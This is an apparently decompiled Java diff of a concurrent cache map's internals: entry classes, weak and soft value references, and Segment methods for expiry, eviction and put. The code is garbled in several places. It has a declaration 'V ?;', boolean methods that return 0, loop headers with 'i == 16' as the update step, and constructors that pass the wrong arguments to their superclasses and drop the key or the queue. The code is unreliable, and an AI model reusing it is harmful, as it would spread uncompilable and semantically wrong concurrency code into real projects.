+  static final class SoftEvictableEntry<K, V> extends MapMakerInternalMap.SoftEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    SoftEvictableEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      super(key, hash, next);
+    }
+    
+
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      return nextEvictable;
+    }
+    
+
+
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextEvictable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      return previousEvictable;
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousEvictable = previous;
+    }
+  }
+  
+  static final class SoftExpirableEvictableEntry<K, V> extends MapMakerInternalMap.SoftEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    SoftExpirableEvictableEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      super(key, hash, next);
+    }
+    
+
+
+    volatile long time = Long.MAX_VALUE;
+    
+    public long getExpirationTime()
+    {
+      return time;
+    }
+    
+
+
+    public void setExpirationTime(long time) { this.time = time; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      return nextExpirable;
+    }
+    
+
+
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextExpirable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      return previousExpirable;
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousExpirable = previous;
+    }
+    
+
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      return nextEvictable;
+    }
+    
+
+
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextEvictable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      return previousEvictable;
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousEvictable = previous;
+    }
+  }
+  
+  static class WeakEntry<K, V> extends WeakReference<K> implements MapMakerInternalMap.ReferenceEntry<K, V> {
+    final int hash;
+    final MapMakerInternalMap.ReferenceEntry<K, V> next;
+    
+    WeakEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next) {
+      super(queue);
+      this.hash = hash;
+      this.next = next;
+    }
+    
+    public K getKey()
+    {
+      return get();
+    }
+    
+
+
+    public long getExpirationTime()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setExpirationTime(long time)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+    volatile MapMakerInternalMap.ValueReference<K, V> valueReference = MapMakerInternalMap.unset();
+    
+    public MapMakerInternalMap.ValueReference<K, V> getValueReference()
+    {
+      return valueReference;
+    }
+    
+    public void setValueReference(MapMakerInternalMap.ValueReference<K, V> valueReference)
+    {
+      MapMakerInternalMap.ValueReference<K, V> previous = this.valueReference;
+      this.valueReference = valueReference;
+      previous.clear(valueReference);
+    }
+    
+    public int getHash()
+    {
+      return hash;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNext()
+    {
+      return next;
+    }
+  }
+  
+  static final class WeakExpirableEntry<K, V> extends MapMakerInternalMap.WeakEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    WeakExpirableEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      super(key, hash, next);
+    }
+    
+
+
+    volatile long time = Long.MAX_VALUE;
+    
+    public long getExpirationTime()
+    {
+      return time;
+    }
+    
+
+
+    public void setExpirationTime(long time) { this.time = time; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      return nextExpirable;
+    }
+    
+
+
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextExpirable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      return previousExpirable;
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousExpirable = previous;
+    }
+  }
+  
+  static final class WeakEvictableEntry<K, V> extends MapMakerInternalMap.WeakEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    WeakEvictableEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      super(key, hash, next);
+    }
+    
+
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      return nextEvictable;
+    }
+    
+
+
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextEvictable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      return previousEvictable;
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousEvictable = previous;
+    }
+  }
+  
+  static final class WeakExpirableEvictableEntry<K, V> extends MapMakerInternalMap.WeakEntry<K, V> implements MapMakerInternalMap.ReferenceEntry<K, V>
+  {
+    WeakExpirableEvictableEntry(ReferenceQueue<K> queue, K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next)
+    {
+      super(key, hash, next);
+    }
+    
+
+
+    volatile long time = Long.MAX_VALUE;
+    
+    public long getExpirationTime()
+    {
+      return time;
+    }
+    
+
+
+    public void setExpirationTime(long time) { this.time = time; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextExpirable()
+    {
+      return nextExpirable;
+    }
+    
+
+
+    public void setNextExpirable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextExpirable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousExpirable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousExpirable()
+    {
+      return previousExpirable;
+    }
+    
+    public void setPreviousExpirable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousExpirable = previous;
+    }
+    
+
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> nextEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getNextEvictable()
+    {
+      return nextEvictable;
+    }
+    
+
+
+    public void setNextEvictable(MapMakerInternalMap.ReferenceEntry<K, V> next) { nextEvictable = next; }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> previousEvictable = MapMakerInternalMap.nullEntry();
+    
+
+    public MapMakerInternalMap.ReferenceEntry<K, V> getPreviousEvictable()
+    {
+      return previousEvictable;
+    }
+    
+    public void setPreviousEvictable(MapMakerInternalMap.ReferenceEntry<K, V> previous)
+    {
+      previousEvictable = previous;
+    }
+  }
+  
+  static final class WeakValueReference<K, V>
+    extends WeakReference<V>
+    implements MapMakerInternalMap.ValueReference<K, V>
+  {
+    final MapMakerInternalMap.ReferenceEntry<K, V> entry;
+    
+    WeakValueReference(ReferenceQueue<V> queue, V referent, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      super(queue);
+      this.entry = entry;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getEntry()
+    {
+      return entry;
+    }
+    
+    public void clear(MapMakerInternalMap.ValueReference<K, V> newValue)
+    {
+      clear();
+    }
+    
+
+    public MapMakerInternalMap.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      return new WeakValueReference(queue, value, entry);
+    }
+    
+    public boolean isComputingReference()
+    {
+      return false;
+    }
+    
+    public V waitForValue()
+    {
+      return get();
+    }
+  }
+  
+  static final class SoftValueReference<K, V>
+    extends SoftReference<V>
+    implements MapMakerInternalMap.ValueReference<K, V>
+  {
+    final MapMakerInternalMap.ReferenceEntry<K, V> entry;
+    
+    SoftValueReference(ReferenceQueue<V> queue, V referent, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      super(queue);
+      this.entry = entry;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getEntry()
+    {
+      return entry;
+    }
+    
+    public void clear(MapMakerInternalMap.ValueReference<K, V> newValue)
+    {
+      clear();
+    }
+    
+
+    public MapMakerInternalMap.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      return new SoftValueReference(queue, value, entry);
+    }
+    
+    public boolean isComputingReference()
+    {
+      return false;
+    }
+    
+    public V waitForValue()
+    {
+      return get();
+    }
+  }
+  
+  static final class StrongValueReference<K, V>
+    implements MapMakerInternalMap.ValueReference<K, V>
+  {
+    final V referent;
+    
+    StrongValueReference(V referent)
+    {
+      this.referent = referent;
+    }
+    
+    public V get()
+    {
+      return referent;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getEntry()
+    {
+      return null;
+    }
+    
+
+    public MapMakerInternalMap.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      return this;
+    }
+    
+    public boolean isComputingReference()
+    {
+      return false;
+    }
+    
+    public V waitForValue()
+    {
+      return get();
+    }
+    
+
+
+
+
+
+
+    public void clear(MapMakerInternalMap.ValueReference<K, V> newValue) {}
+  }
+  
+
+
+
+
+
+  static int rehash(int h)
+  {
+    h += (h << 15 ^ 0xCD7D);
+    h ^= h >>> 10;
+    h += (h << 3);
+    h ^= h >>> 6;
+    h += (h << 2) + (h << 14);
+    return h ^ h >>> 16;
+  }
+  
+
+
+  @GuardedBy("Segment.this")
+  @VisibleForTesting
+  ReferenceEntry<K, V> newEntry(K key, int hash, @Nullable ReferenceEntry<K, V> next)
+  {
+    return segmentFor(hash).newEntry(key, hash, next);
+  }
+  
+
+
+  @GuardedBy("Segment.this")
+  @VisibleForTesting
+  ReferenceEntry<K, V> copyEntry(ReferenceEntry<K, V> original, ReferenceEntry<K, V> newNext)
+  {
+    int hash = original.getHash();
+    return segmentFor(hash).copyEntry(original, newNext);
+  }
+  
+
+
+  @GuardedBy("Segment.this")
+  @VisibleForTesting
+  ValueReference<K, V> newValueReference(ReferenceEntry<K, V> entry, V value)
+  {
+    int hash = entry.getHash();
+    return valueStrength.referenceValue(segmentFor(hash), entry, value);
+  }
+  
+  int hash(Object key) {
+    int h = keyEquivalence.hash(key);
+    return rehash(h);
+  }
+  
+  void reclaimValue(ValueReference<K, V> valueReference) {
+    ReferenceEntry<K, V> entry = valueReference.getEntry();
+    int hash = entry.getHash();
+    segmentFor(hash).reclaimValue(entry.getKey(), hash, valueReference);
+  }
+  
+  void reclaimKey(ReferenceEntry<K, V> entry) {
+    int hash = entry.getHash();
+    segmentFor(hash).reclaimKey(entry, hash);
+  }
+  
+
+
+
+  @VisibleForTesting
+  boolean isLive(ReferenceEntry<K, V> entry)
+  {
+    return segmentFor(entry.getHash()).getLiveValue(entry) != null;
+  }
+  
+
+
+
+
+
+
+  Segment<K, V> segmentFor(int hash)
+  {
+    return segments[(hash >>> segmentShift & segmentMask)];
+  }
+  
+  Segment<K, V> createSegment(int initialCapacity, int maxSegmentSize) {
+    return new Segment(this, initialCapacity, maxSegmentSize);
+  }
+  
+
+
+
+
+  V getLiveValue(ReferenceEntry<K, V> entry)
+  {
+    if (entry.getKey() == null) {
+      return null;
+    }
+    V value = entry.getValueReference().get();
+    if (value == null) {
+      return null;
+    }
+    
+    if ((expires()) && (isExpired(entry))) {
+      return null;
+    }
+    return value;
+  }
+  
+
+
+
+
+  boolean isExpired(ReferenceEntry<K, V> entry)
+  {
+    return isExpired(entry, ticker.read());
+  }
+  
+
+
+
+  boolean isExpired(ReferenceEntry<K, V> entry, long now)
+  {
+    return now - entry.getExpirationTime() > 0L;
+  }
+  
+  @GuardedBy("Segment.this")
+  static <K, V> void connectExpirables(ReferenceEntry<K, V> previous, ReferenceEntry<K, V> next) {
+    previous.setNextExpirable(next);
+    next.setPreviousExpirable(previous);
+  }
+  
+  @GuardedBy("Segment.this")
+  static <K, V> void nullifyExpirable(ReferenceEntry<K, V> nulled) {
+    ReferenceEntry<K, V> nullEntry = nullEntry();
+    nulled.setNextExpirable(nullEntry);
+    nulled.setPreviousExpirable(nullEntry);
+  }
+  
+
+
+
+  void processPendingNotifications()
+  {
+    MapMaker.RemovalNotification<K, V> notification;
+    
+
+
+    while ((notification = (MapMaker.RemovalNotification)removalNotificationQueue.poll()) != null) {
+      try {
+        removalListener.onRemoval(notification);
+      } catch (Exception e) {
+        logger.log(Level.WARNING, "Exception thrown by removal listener", e);
+      }
+    }
+  }
+  
+  @GuardedBy("Segment.this")
+  static <K, V> void connectEvictables(ReferenceEntry<K, V> previous, ReferenceEntry<K, V> next)
+  {
+    previous.setNextEvictable(next);
+    next.setPreviousEvictable(previous);
+  }
+  
+  @GuardedBy("Segment.this")
+  static <K, V> void nullifyEvictable(ReferenceEntry<K, V> nulled) {
+    ReferenceEntry<K, V> nullEntry = nullEntry();
+    nulled.setNextEvictable(nullEntry);
+    nulled.setPreviousEvictable(nullEntry);
+  }
+  
+  final Segment<K, V>[] newSegmentArray(int ssize)
+  {
+    return new Segment[ssize];
+  }
+  
+
+
+
+
+
+
+
+
+
+  static class Segment<K, V>
+    extends ReentrantLock
+  {
+    final MapMakerInternalMap<K, V> map;
+    
+
+
+
+
+
+
+
+
+    volatile int count;
+    
+
+
+
+
+
+
+
+
+    int modCount;
+    
+
+
+
+
+
+
+
+
+    int threshold;
+    
+
+
+
+
+
+
+
+
+    volatile AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table;
+    
+
+
+
+
+
+
+
+    final int maxSegmentSize;
+    
+
+
+
+
+
+
+
+    final ReferenceQueue<K> keyReferenceQueue;
+    
+
+
+
+
+
+
+
+    final ReferenceQueue<V> valueReferenceQueue;
+    
+
+
+
+
+
+
+
+    final Queue<MapMakerInternalMap.ReferenceEntry<K, V>> recencyQueue;
+    
+
+
+
+
+
+
+
+    final AtomicInteger readCount = new AtomicInteger();
+    
+
+
+    @GuardedBy("Segment.this")
+    final Queue<MapMakerInternalMap.ReferenceEntry<K, V>> evictionQueue;
+    
+
+
+    @GuardedBy("Segment.this")
+    final Queue<MapMakerInternalMap.ReferenceEntry<K, V>> expirationQueue;
+    
+
+
+
+    Segment(MapMakerInternalMap<K, V> map, int initialCapacity, int maxSegmentSize)
+    {
+      this.map = map;
+      this.maxSegmentSize = maxSegmentSize;
+      initTable(newEntryArray(initialCapacity));
+      
+      keyReferenceQueue = (map.usesKeyReferences() ? new ReferenceQueue() : null);
+      
+
+      valueReferenceQueue = (map.usesValueReferences() ? new ReferenceQueue() : null);
+      
+
+      recencyQueue = ((map.evictsBySize()) || (map.expiresAfterAccess()) ? new ConcurrentLinkedQueue() : MapMakerInternalMap.discardingQueue());
+      
+
+
+      evictionQueue = (map.evictsBySize() ? new MapMakerInternalMap.EvictionQueue() : MapMakerInternalMap.discardingQueue());
+      
+
+
+      expirationQueue = (map.expires() ? new MapMakerInternalMap.ExpirationQueue() : MapMakerInternalMap.discardingQueue());
+    }
+    
+
+    AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> newEntryArray(int size)
+    {
+      return new AtomicReferenceArray(size);
+    }
+    
+    void initTable(AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> newTable) {
+      threshold = (newTable.length() * 3 / 4);
+      if (threshold == maxSegmentSize)
+      {
+        threshold += 1;
+      }
+      table = newTable;
+    }
+    
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> newEntry(K key, int hash, @Nullable MapMakerInternalMap.ReferenceEntry<K, V> next) {
+      return map.entryFactory.newEntry(this, key, hash, next);
+    }
+    
+
+
+
+    @GuardedBy("Segment.this")
+    MapMakerInternalMap.ReferenceEntry<K, V> copyEntry(MapMakerInternalMap.ReferenceEntry<K, V> original, MapMakerInternalMap.ReferenceEntry<K, V> newNext)
+    {
+      if (original.getKey() == null)
+      {
+        return null;
+      }
+      
+      MapMakerInternalMap.ValueReference<K, V> valueReference = original.getValueReference();
+      V value = valueReference.get();
+      if ((value == null) && (!valueReference.isComputingReference()))
+      {
+        return null;
+      }
+      
+      MapMakerInternalMap.ReferenceEntry<K, V> newEntry = map.entryFactory.copyEntry(this, original, newNext);
+      newEntry.setValueReference(valueReference.copyFor(valueReferenceQueue, value, newEntry));
+      return newEntry;
+    }
+    
+
+
+    @GuardedBy("Segment.this")
+    void setValue(MapMakerInternalMap.ReferenceEntry<K, V> entry, V value)
+    {
+      MapMakerInternalMap.ValueReference<K, V> valueReference = map.valueStrength.referenceValue(this, entry, value);
+      entry.setValueReference(valueReference);
+      recordWrite(entry);
+    }
+    
+
+
+
+
+    void tryDrainReferenceQueues()
+    {
+      if (tryLock()) {
+        try {
+          drainReferenceQueues();
+        } finally {
+          unlock();
+        }
+      }
+    }
+    
+
+
+
+    @GuardedBy("Segment.this")
+    void drainReferenceQueues()
+    {
+      if (map.usesKeyReferences()) {
+        drainKeyReferenceQueue();
+      }
+      if (map.usesValueReferences()) {
+        drainValueReferenceQueue();
+      }
+    }
+    
+    @GuardedBy("Segment.this")
+    void drainKeyReferenceQueue()
+    {
+      int i = 0;
+      Reference<? extends K> ref; for (; (ref = keyReferenceQueue.poll()) != null; 
+          
+
+
+          i == 16)
+      {
+        MapMakerInternalMap.ReferenceEntry<K, V> entry = (MapMakerInternalMap.ReferenceEntry)ref;
+        map.reclaimKey(entry);
+        i++;
+      }
+    }
+    
+
+
+    @GuardedBy("Segment.this")
+    void drainValueReferenceQueue()
+    {
+      int i = 0;
+      Reference<? extends V> ref; for (; (ref = valueReferenceQueue.poll()) != null; 
+          
+
+
+          i == 16)
+      {
+        MapMakerInternalMap.ValueReference<K, V> valueReference = (MapMakerInternalMap.ValueReference)ref;
+        map.reclaimValue(valueReference);
+        i++;
+      }
+    }
+    
+
+
+
+
+    void clearReferenceQueues()
+    {
+      if (map.usesKeyReferences()) {
+        clearKeyReferenceQueue();
+      }
+      if (map.usesValueReferences()) {
+        clearValueReferenceQueue();
+      }
+    }
+    
+    void clearKeyReferenceQueue() {
+      while (keyReferenceQueue.poll() != null) {}
+    }
+    
+    void clearValueReferenceQueue() {
+      while (valueReferenceQueue.poll() != null) {}
+    }
+    
+
+
+
+
+
+
+
+
+    void recordRead(MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      if (map.expiresAfterAccess()) {
+        recordExpirationTime(entry, map.expireAfterAccessNanos);
+      }
+      recencyQueue.add(entry);
+    }
+    
+
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    void recordLockedRead(MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      evictionQueue.add(entry);
+      if (map.expiresAfterAccess()) {
+        recordExpirationTime(entry, map.expireAfterAccessNanos);
+        expirationQueue.add(entry);
+      }
+    }
+    
+
+
+
+
+    @GuardedBy("Segment.this")
+    void recordWrite(MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      drainRecencyQueue();
+      evictionQueue.add(entry);
+      if (map.expires())
+      {
+
+        long expiration = map.expiresAfterAccess() ? map.expireAfterAccessNanos : map.expireAfterWriteNanos;
+        
+
+        recordExpirationTime(entry, expiration);
+        expirationQueue.add(entry);
+      }
+    }
+    
+
+
+
+    @GuardedBy("Segment.this")
+    void drainRecencyQueue()
+    {
+      MapMakerInternalMap.ReferenceEntry<K, V> e;
+      
+
+      while ((e = (MapMakerInternalMap.ReferenceEntry)recencyQueue.poll()) != null)
+      {
+
+
+
+        if (evictionQueue.contains(e)) {
+          evictionQueue.add(e);
+        }
+        if ((map.expiresAfterAccess()) && (expirationQueue.contains(e))) {
+          expirationQueue.add(e);
+        }
+      }
+    }
+    
+
+
+    void recordExpirationTime(MapMakerInternalMap.ReferenceEntry<K, V> entry, long expirationNanos)
+    {
+      entry.setExpirationTime(map.ticker.read() + expirationNanos);
+    }
+    
+
+
+    void tryExpireEntries()
+    {
+      if (tryLock()) {
+        try {
+          expireEntries();
+        } finally {
+          unlock();
+        }
+      }
+    }
+    
+    @GuardedBy("Segment.this")
+    void expireEntries()
+    {
+      drainRecencyQueue();
+      
+      if (expirationQueue.isEmpty())
+      {
+
+        return;
+      }
+      long now = map.ticker.read();
+      MapMakerInternalMap.ReferenceEntry<K, V> e;
+      while (((e = (MapMakerInternalMap.ReferenceEntry)expirationQueue.peek()) != null) && (map.isExpired(e, now))) {
+        if (!removeEntry(e, e.getHash(), MapMaker.RemovalCause.EXPIRED)) {
+          throw new AssertionError();
+        }
+      }
+    }
+    
+
+    void enqueueNotification(MapMakerInternalMap.ReferenceEntry<K, V> entry, MapMaker.RemovalCause cause)
+    {
+      enqueueNotification(entry.getKey(), entry.getHash(), entry.getValueReference().get(), cause);
+    }
+    
+    void enqueueNotification(@Nullable K key, int hash, @Nullable V value, MapMaker.RemovalCause cause) {
+      if (map.removalNotificationQueue != MapMakerInternalMap.DISCARDING_QUEUE) {
+        MapMaker.RemovalNotification<K, V> notification = new MapMaker.RemovalNotification(key, value, cause);
+        map.removalNotificationQueue.offer(notification);
+      }
+    }
+    
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    boolean evictEntries()
+    {
+      if ((map.evictsBySize()) && (count >= maxSegmentSize)) {
+        drainRecencyQueue();
+        
+        MapMakerInternalMap.ReferenceEntry<K, V> e = (MapMakerInternalMap.ReferenceEntry)evictionQueue.remove();
+        if (!removeEntry(e, e.getHash(), MapMaker.RemovalCause.SIZE)) {
+          throw new AssertionError();
+        }
+        return true;
+      }
+      return false;
+    }
+    
+
+
+
+    MapMakerInternalMap.ReferenceEntry<K, V> getFirst(int hash)
+    {
+      AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+      return (MapMakerInternalMap.ReferenceEntry)table.get(hash & table.length() - 1);
+    }
+    
+
+    MapMakerInternalMap.ReferenceEntry<K, V> getEntry(Object key, int hash)
+    {
+      if (count != 0) {
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = getFirst(hash); e != null; e = e.getNext()) {
+          if (e.getHash() == hash)
+          {
+
+
+            K entryKey = e.getKey();
+            if (entryKey == null) {
+              tryDrainReferenceQueues();
+
+
+            }
+            else if (map.keyEquivalence.equivalent(key, entryKey)) {
+              return e;
+            }
+          }
+        }
+      }
+      return null;
+    }
+    
+    MapMakerInternalMap.ReferenceEntry<K, V> getLiveEntry(Object key, int hash) {
+      MapMakerInternalMap.ReferenceEntry<K, V> e = getEntry(key, hash);
+      if (e == null)
+        return null;
+      if ((map.expires()) && (map.isExpired(e))) {
+        tryExpireEntries();
+        return null;
+      }
+      return e;
+    }
+    
+    V get(Object key, int hash) {
+      try {
+        MapMakerInternalMap.ReferenceEntry<K, V> e = getLiveEntry(key, hash);
+        if (e == null) {
+          return null;
+        }
+        
+        Object value = e.getValueReference().get();
+        if (value != null) {
+          recordRead(e);
+        } else {
+          tryDrainReferenceQueues();
+        }
+        return value;
+      } finally {
+        postReadCleanup();
+      }
+    }
+    
+    boolean containsKey(Object key, int hash) {
+      try { MapMakerInternalMap.ReferenceEntry<K, V> e;
+        if (count != 0) {
+          e = getLiveEntry(key, hash);
+          boolean bool; if (e == null) {
+            return false;
+          }
+          return e.getValueReference().get() != null;
+        }
+        
+        return 0;
+      } finally {
+        postReadCleanup();
+      }
+    }
+    
+
+    @VisibleForTesting
+    boolean containsValue(Object value)
+    {
+      try
+      {
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table;
+        if (count != 0) {
+          table = this.table;
+          int length = table.length();
+          for (int i = 0; i < length; i++) {
+            for (MapMakerInternalMap.ReferenceEntry<K, V> e = (MapMakerInternalMap.ReferenceEntry)table.get(i); e != null; e = e.getNext()) {
+              V entryValue = getLiveValue(e);
+              if (entryValue != null)
+              {
+
+                if (map.valueEquivalence.equivalent(value, entryValue)) {
+                  return true;
+                }
+              }
+            }
+          }
+        }
+        return 0;
+      } finally {
+        postReadCleanup();
+      }
+    }
+    
+    V put(K key, int hash, V value, boolean onlyIfAbsent) {
+      lock();
+      try {
+        preWriteCleanup();
+        
+        int newCount = count + 1;
+        if (newCount > threshold) {
+          expand();
+          newCount = count + 1;
+        }
+        
+        AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+        
+        K entryKey;
+        for (MapMakerInternalMap.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+
+
+            MapMakerInternalMap.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            V ?;
+            if (entryValue == null) {
+              modCount += 1;
+              setValue(e, value);
+              if (!valueReference.isComputingReference()) {
+                enqueueNotification(key, hash, entryValue, MapMaker.RemovalCause.COLLECTED);
+                newCount = count;
+              } else if (evictEntries()) {
+                newCount = count + 1;
+              }
+              count = newCount;
+              return null; }
+            if (onlyIfAbsent)
+            {
+
+
+              recordLockedRead(e);
+              return entryValue;
+            }
+            
+            modCount += 1;
+            enqueueNotification(key, hash, entryValue, MapMaker.RemovalCause.REPLACED);
+            setValue(e, value);
+            return entryValue;
+          }
+        }
+        
+
+
+        modCount += 1;
+        MapMakerInternalMap.ReferenceEntry<K, V> newEntry = newEntry(key, hash, first);
+        setValue(newEntry, value);
+        table.set(index, newEntry);
+        if (evictEntries()) {
+          newCount = count + 1;
+        }
+        count = newCount;
+        return null;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+
+
+    @GuardedBy("Segment.this")
+    void expand()
+    {
+      AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> oldTable = table;
+      int oldCapacity = oldTable.length();
+      if (oldCapacity >= 1073741824) {
+        return;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+      int newCount = count;
+      AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> newTable = newEntryArray(oldCapacity << 1);
+      threshold = (newTable.length() * 3 / 4);
+      int newMask = newTable.length() - 1;
+      for (int oldIndex = 0; oldIndex < oldCapacity; oldIndex++)
+      {
+
+        MapMakerInternalMap.ReferenceEntry<K, V> head = (MapMakerInternalMap.ReferenceEntry)oldTable.get(oldIndex);
+        
+        if (head != null) {
+          MapMakerInternalMap.ReferenceEntry<K, V> next = head.getNext();
+          int headIndex = head.getHash() & newMask;
+          
+
